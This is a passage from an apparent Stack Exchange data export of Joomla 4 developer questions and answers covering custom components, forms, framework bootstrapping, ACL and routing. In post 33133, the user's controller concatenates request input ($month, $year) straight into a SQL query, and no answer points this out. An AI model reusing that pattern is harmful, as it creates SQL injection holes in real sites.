8.1.20&lt;/li&gt;&#xA;&lt;li&gt;Web Server    Apache&lt;/li&gt;&#xA;&lt;li&gt;WebServer to PHP Interface    litespeed&lt;/li&gt;&#xA;&lt;li&gt;Joomla! Version   Joomla! 4.3.2 Stable [ Bora ] 30-May-2023 16:00 GMT&lt;/li&gt;&#xA;&lt;li&gt;User Agent    Mozilla/5.0 (Windows NT 10.0; Win64;&#xA;x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0&lt;br /&gt;&#xA;Safari/537.36 Edg/114.0.1823.51&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;My localhost system information:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP Built On   Windows NT DESKTOP-H1CFTTO 10.0 build 19045 (Windows 10) AMD64&lt;/li&gt;&#xA;&lt;li&gt;Database Type             mysql&lt;/li&gt;&#xA;&lt;li&gt;Database Version              8.0.23&lt;/li&gt;&#xA;&lt;li&gt;Database Collation                utf8mb4_0900_ai_ci&lt;/li&gt;&#xA;&lt;li&gt;Database Connection Collation     utf8mb4_0900_ai_ci&lt;/li&gt;&#xA;&lt;li&gt;Database Connection Encryption        None&lt;/li&gt;&#xA;&lt;li&gt;Database Server Supports Connection Encryption    Yes&lt;/li&gt;&#xA;&lt;li&gt;PHP Version                   8.0.14&lt;/li&gt;&#xA;&lt;li&gt;Web Server                    Apache/2.4.46 (Win64) PHP/8.0.14&lt;/li&gt;&#xA;&lt;li&gt;WebServer to PHP Interface            apache2handler&lt;/li&gt;&#xA;&lt;li&gt;Joomla! Version               Joomla! 4.3.1 Stable [ Bora ] 2-May-2023 16:00 GMT&lt;/li&gt;&#xA;&lt;li&gt;User Agent                    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.51&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17086" LastActivityDate="2023-06-19T19:46:00.913" Title="Different results on localhost than on remote site" Tags="|custom-component|localhost|error|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33127" PostTypeId="2" ParentId="33123" CreationDate="2023-06-20T10:03:47.480" Score="1" Body="&lt;p&gt;I tried this out and this worked for me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;groups&amp;quot; label=&amp;quot;Group settings&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;group_id&amp;quot; type=&amp;quot;list&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Select group:&amp;quot;&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Group 1&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;Group 2&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;3&amp;quot;&amp;gt;Group 3&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I put it in the admin /forms folder and called the file category.two.xml (where 'two' is my category_name).&lt;/p&gt;&#xA;&lt;p&gt;The other approach you might want to consider is to enable custom fields on your component, then you can add additional fields to your component's Category entity. How to enable them is described in the Joomla 3 MVC Tutorial &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Custom_Fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding Custom Fields&lt;/a&gt; step. The work to do it in Joomla 4 is similar - you just have to move the getContexts() and validateSection() methods into your Extension class, and ensure that your extension class implements Joomla\CMS\Fields\FieldsServiceInterface.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-06-20T10:03:47.480" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33128" PostTypeId="2" ParentId="33125" CreationDate="2023-06-21T00:47:56.443" Score="1" Body="&lt;p&gt;This isn't an answer to your question but an improvement to your code that will make it more efficient.&lt;/p&gt;&#xA;&lt;p&gt;Move the following lines to the start of your file before you begin to your Foreach loops as you only need to get the app and create the Table object once in your processing.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$app = Factory::getApplication();&#xA;$factory = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory(); &#xA;$table = $factory-&amp;gt;createTable('Article', 'Table'); &#xA;&#xA;foreach ($this-&amp;gt;item-&amp;gt;jcfields as $field) {&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-06-21T00:47:56.443" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33129" PostTypeId="2" ParentId="33125" CreationDate="2023-06-21T01:23:09.117" Score="2" Body="&lt;p&gt;The Labels for the subforms are stored in the fieldsparams column of the #__fields table and therefore you need to do extra processing to extract the labels for each sub field and match them up with your value.&lt;/p&gt;&#xA;&lt;p&gt;This extract of code taken from Marty's handy little plugin for working with custom fields shows the processing that needs to happen to get the label(s). The full article can be found here, &lt;a href=&quot;https://www.martyfriedel.com/blog/how-to-easily-access-to-custom-fields-in-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.martyfriedel.com/blog/how-to-easily-access-to-custom-fields-in-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($field-&amp;gt;type == 'checkboxes')&#xA;&#xA;{&#xA;&#xA;    // create an array for our selected items&#xA;&#xA;    $selected = [];&#xA;&#xA; &#xA;&#xA;    // loop through all of the options&#xA;&#xA;    foreach ($field-&amp;gt;fieldparams-&amp;gt;get('options') as $option)&#xA;&#xA;    {&#xA;&#xA;        // check if the selected value(s) has the current option&#xA;&#xA;        // if rawvalue is an array, there is 2 or more options - look inside the rawvalue as an array&#xA;&#xA;        // if rawvalue is a string, there's only one option - comparitor is as a string&#xA;&#xA;        if ((is_array($field-&amp;gt;rawvalue) &amp;amp;&amp;amp; in_array($option-&amp;gt;value, $field-&amp;gt;rawvalue)) || $field-&amp;gt;rawvalue == $option-&amp;gt;value)&#xA;&#xA;        {&#xA;&#xA;            $selected[] = array(&#xA;&#xA;                'name'  =&amp;gt; $option-&amp;gt;name,&#xA;&#xA;                'value' =&amp;gt; $option-&amp;gt;value&#xA;&#xA;            );&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    // update the value with the selected items&#xA;&#xA;    $item-&amp;gt;jcfieldsnames[ $field-&amp;gt;name ]['value'] = $selected;&#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You will still need to adapt the above to suit your needs that works within your processing or just use the lines that the get the property(ies) that you need.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Updated: 24/06/20223&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;to address the comments made in the original question and this answer I would say you have done okay for a non-developer in working your way through the code and the questions you have been asking on JSE to get to stage you are at.&lt;/p&gt;&#xA;&lt;p&gt;JSE is about helping you help yourself so I wouldn't normally say that you might consider engaging a local developer to finish your solution off for you, particularly when you have got this far, but some times you have  consider the cost of paying someone else vs the time you have spent and wasted so far.&lt;/p&gt;&#xA;&lt;p&gt;If you do want to continue then my advice would be to use the link above to the plugin Marty has written and install/enable that plugin on your Joomla environment where it will do all the work that you have been trying to do to extract the all the properties and values from the Custom Fields and present them to your template in an easier to use form.&lt;/p&gt;&#xA;&lt;p&gt;Or to put it another way the Plugin already does what you are trying do in your code by extracting the custom fields and putting them in the $item object ready for you to use. As far as getting the values you are try to reinvent the wheel when the plugin has done this for you.&lt;/p&gt;&#xA;&lt;p&gt;Your code should than be no more than filtering the properties and presenting the links  as you desire.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-06-23T23:21:21.117" LastActivityDate="2023-06-23T23:21:21.117" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33130" PostTypeId="1" CreationDate="2023-06-21T18:32:11.020" Score="0" ViewCount="27" Body="&lt;p&gt;So i need an XML form structure for a custom app that is used in different models.&lt;br /&gt;&#xA;The most logical approach would be to create an external XML form file containing that structure and include it in every XML model that requires it.&lt;/p&gt;&#xA;&lt;p&gt;As far, I see using a &lt;code&gt;subform&lt;/code&gt; with &lt;code&gt;formsource&lt;/code&gt; attribute is the only ways to do that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;field name=&amp;quot;mystructure&amp;quot; type=&amp;quot;subform&amp;quot; formsource=&amp;quot;folder/to/custom/structure.xml&amp;quot; min=&amp;quot;1&amp;quot; max=&amp;quot;1&amp;quot; multiple=&amp;quot;false&amp;quot; layout=&amp;quot;joomla.form.field.subform.default&amp;quot; groupByFieldset=&amp;quot;true&amp;quot; hiddenLabel=&amp;quot;true&amp;quot; /&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But i don't need all the mechanics behind the subform element, like repeating structures and so on. I only want to use one structure in multiple places.&lt;br /&gt;&#xA;I know this could also be accomplished, by doing it directly in the model, but i wanted to keep it as clean as possible, and that would create extra logic.&lt;/p&gt;&#xA;&lt;p&gt;So is subform really the only way to use one external structure in different XML forms?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-06-21T18:32:11.020" Title="formsource only in subform field type?" Tags="|form|subform|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33131" PostTypeId="1" AcceptedAnswerId="33136" CreationDate="2023-06-21T21:07:49.930" Score="0" ViewCount="60" Body="&lt;p&gt;I've upgraded a Joomla 3.10 website to 4.x. I use custom scripts on the website wich use the framework and that worked fine until after the upgrade.&lt;/p&gt;&#xA;&lt;p&gt;I did some searching and since the framework got an update i updated the framework and changed the script to reflect the changes. I downloaded the new framework from &lt;a href=&quot;https://github.com/joomla-framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub&lt;/a&gt; and installed it with composer.&lt;/p&gt;&#xA;&lt;p&gt;However, i'm just getting a blank page. The code for the script is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;ini_set('display_errors', 1);&#xA;error_reporting(E_ALL);&#xA;&#xA;&#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__);&#xA;&#xA;require_once '/home/dfk/domains/dfk.be/public_html/libraries/src/Factory.php';&#xA;require_once '/home/dfk/domains/dfk.be/public_html/libraries/src/User/User.php';&#xA;&#xA;// Initialize the application&#xA;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\User\User;&#xA;&#xA;// Initialize the application&#xA;$app = Factory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;$user = User::getInstance();&#xA;$userID = $user-&amp;gt;id;&#xA;$username = $user-&amp;gt;username;&#xA;&#xA;echo &amp;quot;UserID:&amp;quot; . $userID;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get no output at all, not even the &amp;quot;UserID:&amp;quot; string. No errors, so very hard to troubleshoot.&lt;/p&gt;&#xA;&lt;p&gt;I've googled and tried some suggestions and nothing worked. Also tried some ChatGPT suggestions ;), but that didn't help either.&lt;/p&gt;&#xA;&lt;p&gt;Is there anyone who has any tips on what could be wrong? Thanks in advance.&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&lt;p&gt;With the following code that i found in article &lt;a href=&quot;https://joomla.stackexchange.com/questions/32641/acess-joomla-framework-from-external-php-file&quot;&gt;Acess Joomla framework from external php file&lt;/a&gt; i can retrieve the session data, but i do not know how to use user data with this. Can anyone help me out with this please. There is very little documentation on the current framework, and most is outdated.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if (!defined('_JEXEC')) define('_JEXEC', 1);&#xA;if (!defined('JPATH_BASE')) define('JPATH_BASE', '/home/dfk/domains/dfk.be/public_html/');&#xA;&#xA;require_once '/home/dfk/domains/dfk.be/public_html/includes/defines.php';&#xA;require_once '/home/dfk/domains/dfk.be/public_html/includes/framework.php';&#xA;&#xA;// Boot the DI container&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;/*&#xA; * Alias the session service keys to the web session service as that is the primary session backend for this application&#xA; *&#xA; * In addition to aliasing &amp;quot;common&amp;quot; service keys, we also create aliases for the PHP classes to ensure autowiring objects&#xA; * is supported.  This includes aliases for aliased class names, and the keys for aliased class names should be considered&#xA; * deprecated to be removed when the class name alias is removed as well.&#xA; */&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Instantiate the application.&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&#xA;// Set the application as global app&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&#xA;var_dump($app);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17133" LastEditorUserId="17133" LastEditDate="2023-06-22T08:55:03.993" LastActivityDate="2023-06-23T23:23:09.350" Title="Joomla PHP Framework problems. White page, no errors" Tags="|php|joomla-4.x|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33132" PostTypeId="2" ParentId="33131" CreationDate="2023-06-22T09:18:49.817" Score="1" Body="&lt;p&gt;Your update coded now provides you with an instance of Joomla and you simply need to get the User object for the current user so you are almost there. There are a few options available to you but this is probably the easiest for your code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = $app-&amp;gt;getIdentity();&#xA;$id   = $user-&amp;gt;id;&#xA;$name = $user-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit: 24/06/2023&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since I originally answered this question I have learnt more and posted a more complete answer in this post here with sample code for calling an instance of Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/33140/how-to-create-an-instance-of-the-joomla-cms-from-the-browser-or-the-command-line/33141?noredirect=1#comment40804_33141&quot;&gt;How to create an instance of the Joomla CMS from the browser or the command line&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Previous sample code and misleading comments have been removed.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-06-23T23:23:09.350" LastActivityDate="2023-06-23T23:23:09.350" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33133" PostTypeId="1" CreationDate="2023-06-22T09:49:40.100" Score="0" ViewCount="54" Body="&lt;p&gt;I try to make a custom calendar in my custom component in Joomla 4. For that I write a code who connect to a database and retrieve the data. For that I have 3 files : default.php, ReservationController.php and AjaxReservationController.php. When I change the months in my calendar, I get an Internal Server Error and when I go to the url who are in my default.php I get the Invalid Class Controller : ReservationController.&lt;/p&gt;&#xA;&lt;p&gt;Here is the code in default.php :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;let calendarAvailabilities = {};&#xA;                        let days;&#xA;&#xA;                        let periods = jQuery.get( &amp;quot;index.php?option=com_skydivespa&amp;amp;task=reservationcontroller.getClosingDays&amp;quot;, {&amp;quot;month&amp;quot;: cal.getMonth(), &amp;quot;year&amp;quot;: cal.getYear()},&#xA;                            function( data ) {&#xA;                                days = JSON.parse(data);&#xA;                                console.info(data);&#xA;                            });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the code in ReservationController.php :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Zzam\Component\SkydiveSpa\Site\Controller;&#xA;&#xA;use ...&#xA;&#xA;class ReservationController extends BaseController {&#xA;&#xA;    // Other code&#xA; &#xA;    public function getClosingDays()&#xA;    {&#xA;        try {&#xA;            $input = Factory::getApplication()-&amp;gt;input;&#xA;            $month = $input-&amp;gt;get('month');&#xA;            $year = $input-&amp;gt;get('year');&#xA;&#xA;            // Validate and process the month and year values as needed&#xA;&#xA;            $ajaxController = new AjaxReservationController();&#xA;            $ajaxController-&amp;gt;getClosingDays($month, $year);&#xA;        }  catch (Exception $e) {&#xA;            // Handle the exception&#xA;            echo 'Error occurred: ' . $e-&amp;gt;getMessage();&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And here is the code in AjaxReservationController.php :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Zzam\Component\SkydiveSpa\Site\Controller;&#xA;&#xA;use ...&#xA;&#xA;class AjaxReservationController extends BaseController {&#xA;&#xA;    // Other code&#xA;    &#xA;    public static function getClosingDays($month, $year)&#xA;    {&#xA;        try&#xA;        {&#xA;            //$month = sprintf(&amp;quot;%02s&amp;quot;, Factory::getApplication()-&amp;gt;input-&amp;gt;get('month'));&#xA;            //$year = Factory::getApplication()-&amp;gt;input-&amp;gt;get('year');&#xA;&#xA;&#xA;            // Get a database object.&#xA;            $db = Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;            $query  = $db-&amp;gt;getQuery(true);&#xA;&#xA;            $query-&amp;gt;select('p.date_start, p.date_end, p.mon, p.tue, p.wed, p.thu, p.fri, p.sat, p.sun');&#xA;            $query-&amp;gt;from($db-&amp;gt;quoteName('#__skydive_periods') . ' AS p');&#xA;            $query-&amp;gt;where('p.type = &amp;quot;PERIOD_r&amp;quot;');&#xA;            $query-&amp;gt;where('p.published = 1');&#xA;            $query-&amp;gt;where('( (MONTH(p.date_start) = '. $month .' AND YEAR(p.date_start) = '. $year .') OR (MONTH(p.date_end) = '. $month .' AND YEAR(p.date_end) = '. $year .') )');&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $periods = $db-&amp;gt;loadObjectList();&#xA;&#xA;            $document = Factory::getApplication()-&amp;gt;getDocument();&#xA;            $document-&amp;gt;setMimeEncoding('application/json');&#xA;            echo new JsonResponse($periods);&#xA;            Factory::getApplication()-&amp;gt;close();&#xA;        }&#xA;        catch(Exception $e)&#xA;        {&#xA;            return new JsonResponse($e);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't know what cause this error. Can you help me ?&lt;/p&gt;&#xA;&lt;p&gt;EDIT : I added the namespace and class definition. I also tried to change the call to call directly AjaxReservationController but I have the same problem&lt;/p&gt;&#xA;" OwnerUserId="17136" LastEditorUserId="17136" LastEditDate="2023-06-22T10:10:30.050" LastActivityDate="2023-06-22T10:10:30.050" Title="How to resolve the Internal Server Error with my custom components calendar in Joomla 4?" Tags="|php|joomla-4.x|custom-component|jquery|ajax|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33134" PostTypeId="1" CreationDate="2023-06-22T11:33:12.883" Score="1" ViewCount="132" Body="&lt;p&gt;I am using this on a custom component:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$url = index.php?option=com_content&amp;amp;view=article&amp;amp;catid=427&amp;amp;id=15106&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Both&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo $url;&#xA;echo Route::_($url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;will output a friendly url.&lt;/p&gt;&#xA;&lt;p&gt;I'm guessing this is coming from some J4 plugin and I should always use &lt;code&gt;echo Route::_($url);&lt;/code&gt; for good practice, right?&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-06-23T06:38:49.980" Title="Joomla 4: no need for Route::_($url)?" Tags="|development|joomla-4.x|router|best-practices|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33135" PostTypeId="2" ParentId="33111" CreationDate="2023-06-22T13:05:57.467" Score="1" Body="&lt;p&gt;Apparently, this is a known issue with the 4.3.2 upgrade. If I find a link I'll post.&lt;/p&gt;&#xA;&lt;p&gt;I had to re-install the Joomla core files again, all is working as expected now.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2023-06-22T13:05:57.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33136" PostTypeId="2" ParentId="33131" CreationDate="2023-06-22T14:18:50.650" Score="0" Body="&lt;p&gt;With the help from @Irata and ChatGPT and allot of trying, i was able to get to a working solution.&lt;/p&gt;&#xA;&lt;p&gt;I had to leave the session code in for this to work, if anyone finds a simpler solution please let me know. Thanks again to Irata for pointing me in the right direction.&lt;/p&gt;&#xA;&lt;p&gt;If this was documented better by Joomla with some examples this would have saved me 6 hours :), so i hope i can help someone else with this.&lt;/p&gt;&#xA;&lt;p&gt;session data is now allso handled by the framework, so a session_start(); is no longer needed in your custom scripts. You will get a HTTP 500 error if you leave it in.&lt;/p&gt;&#xA;&lt;p&gt;This is the full working code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;ini_set('display_errors', 1);&#xA;error_reporting(E_ALL);&#xA;&#xA;if (!defined('_JEXEC')) define('_JEXEC', 1);&#xA;if (!defined('JPATH_BASE')) define('JPATH_BASE', '/home/dfk/domains/dfk.be/public_html/');&#xA;&#xA;require_once '/home/dfk/domains/dfk.be/public_html/includes/defines.php';&#xA;require_once '/home/dfk/domains/dfk.be/public_html/includes/framework.php';&#xA;&#xA;// Boot the DI container&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Instantiate the application.&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&#xA;// Get the user state service&#xA;$userState = $container-&amp;gt;get('session')-&amp;gt;get('user');&#xA;&#xA;// Retrieve user data&#xA;$userID = $userState-&amp;gt;get('id');&#xA;$username = $userState-&amp;gt;get('username');&#xA;&#xA;// Set the application as global app&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&#xA;var_dump($userState);&#xA;&#xA;echo &amp;quot;user name: &amp;quot; . $username;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17133" LastEditorUserId="17133" LastEditDate="2023-06-22T15:02:20.833" LastActivityDate="2023-06-22T15:02:20.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33137" PostTypeId="1" CreationDate="2023-06-22T18:22:34.243" Score="2" ViewCount="28" Body="&lt;p&gt;I have my own User Groups and have given one of them all rights to Articles. Users in that Group do not have access to the Empty Trash button. They can put things into Trash, but cannot empty it.&#xA;Can I change this? Seems like a shortfalling...&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11058" LastActivityDate="2023-06-22T21:23:15.333" Title="Who can Empty Trash? (J4)" Tags="|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33138" PostTypeId="2" ParentId="33137" CreationDate="2023-06-22T21:23:15.333" Score="2" Body="&lt;p&gt;As you may be aware, when you put things into the Trash you're just changing the state of the article, and to do this you require the Edit State permission. When you're emptying the Trash you're actually deleting the records and so require the Delete permission.&lt;/p&gt;&#xA;&lt;p&gt;If you've given all the article permissions (including Delete) to the specific User Group then it's maybe the case that the individual user (or users) are also members of another user group which has been denied access to Delete (ie the Delete permission set to Denied rather than Inherited).&lt;/p&gt;&#xA;&lt;p&gt;They could be members of another user group either through the admin directly assigning them to another group (edit the User and click on the Assigned User Groups tab) or because the user group is the child of another user group (click on Users / Groups to see the hierarchy).&lt;/p&gt;&#xA;&lt;p&gt;When Joomla checks the permission it gets all the user groups that the user belongs to, and then gets all the parent user groups of those user groups. Then if any one of that combined set of user groups has got Denied against the Article Delete permission then it won't allow the user to empty the trash. The Denied takes priority - even if elsewhere they have Allowed.&lt;/p&gt;&#xA;&lt;p&gt;You can see what permissions a user has by going in the back-end to Users / Manage to where it shows the list of users, and clicking on the Permissions button in the User Groups column. You can then check the permission against the Articles row, in the Delete column.&lt;/p&gt;&#xA;&lt;p&gt;There are a couple of really good web resources explaining the Joomla ACL system - see &lt;a href=&quot;https://www.youtube.com/watch?v=CFqXAc3orkY&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 3 ACL Explained video&lt;/a&gt; (between 2 and 32 minutes is the section you want - and Joomla 4 is the same as Joomla 3 as far as I know), and also &lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;Access Control List Tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Best of luck! Joomla ACL is not for the faint-hearted!&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-06-22T21:23:15.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33139" PostTypeId="2" ParentId="33134" CreationDate="2023-06-23T06:38:49.980" Score="1" Body="&lt;p&gt;Both of your assumptions are correct. Non-SEF URLs are converted to SEF by &lt;code&gt;System - SEF&lt;/code&gt; plugin. But you should use SEF URLs in PHP code whenever possible. This will ensure proper URLs when the plugin is disabled and slightly improve performance when the plugin is enabled. For in-content URLs (e.g. URLs inside article text) it's the opposite. Non-SEF URLs should be used to prevent breaking when content item aliases or menu structures are changed.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-06-23T06:38:49.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33140" PostTypeId="1" CreationDate="2023-06-23T07:10:26.743" Score="3" ViewCount="355" Body="&lt;p&gt;Recently there have been a number of questions posted on JSE relating to how to load the Framework that in most cases is really asking how to load up the Joomla CMS either from a command line or via a browser to run other processing either internally or externally.&lt;/p&gt;&#xA;&lt;p&gt;Having attempted to answer a few of the questions myself and seen others also helping by posting up similar snippets of code I have  noticed they still left the person originating the question having to fiddle or do more.&lt;/p&gt;&#xA;&lt;p&gt;So I have spent the day trying to answer my own question, how to create an instance of Joomla?&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-06-27T23:50:29.503" Title="How to create an instance of the Joomla CMS from the browser or the command line" Tags="|joomla-4.x|external-script|joomla-framework|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33141" PostTypeId="2" ParentId="33140" CreationDate="2023-06-23T07:10:26.743" Score="3" Body="&lt;p&gt;A complete working example is below if you just want to cut and paste it.&lt;/p&gt;&#xA;&lt;p&gt;There are four possible flavours of Joomla that can be created based on the applications of &lt;code&gt;Site&lt;/code&gt;, &lt;code&gt;Administrator&lt;/code&gt;, &lt;code&gt;API&lt;/code&gt; and &lt;code&gt;CLI&lt;/code&gt; and each has its own quirks which is why I believe the code that I and other have been posting up have not always worked as intended.&lt;/p&gt;&#xA;&lt;p&gt;The two important distinctions between the four applications is the Site and Administrator will only work when they are called from a Browser, for example &lt;code&gt;https://mysite/thisfile.php&lt;/code&gt; while the other two, API and CLI, are intended to work as command line tools, e.g. &lt;code&gt;php thisfile.php&lt;/code&gt;. Each will fail if called from the wrong environment.&lt;/p&gt;&#xA;&lt;p&gt;Which Joomla application is going to work best with your requirements is up to you but to my mind it will come down how are you going to call or create the instance, browser or via a program/terminal and do you require access to an extension(plugin or component) that is only available in one of these applications environments.&lt;/p&gt;&#xA;&lt;p&gt;The location of where the file is placed in Joomla directory, or outside of the Joomla directory, is also important in making the previous examples posted work correctly. Calling one application class from the wrong directory can cause it to pick up the wrong set of &lt;code&gt;defines.php&lt;/code&gt; and &lt;code&gt;framework.php&lt;/code&gt; file and due to an array_pop() I found in some files makes a big difference to whether your sample of code will work.&lt;/p&gt;&#xA;&lt;p&gt;My sample below is intended to work from the root directory of Joomla by default however it can be placed outside of Joomla or in a sub-folder of Joomla provided the the root folder of Joomla is specified in the &lt;code&gt;$joomla_directory&lt;/code&gt; property.&lt;/p&gt;&#xA;&lt;p&gt;And once all that is sorted, each application environment has slightly different requirements for setting up the Sessions correctly that I have tried to address by defining the values in various properties in each block relevant to each environment.&lt;/p&gt;&#xA;&lt;p&gt;My code as posted below, supplied as is, has been created from comparing the three &lt;code&gt;app.php&lt;/code&gt; files used for &lt;code&gt;Site&lt;/code&gt;, &lt;code&gt;Administrator&lt;/code&gt; and 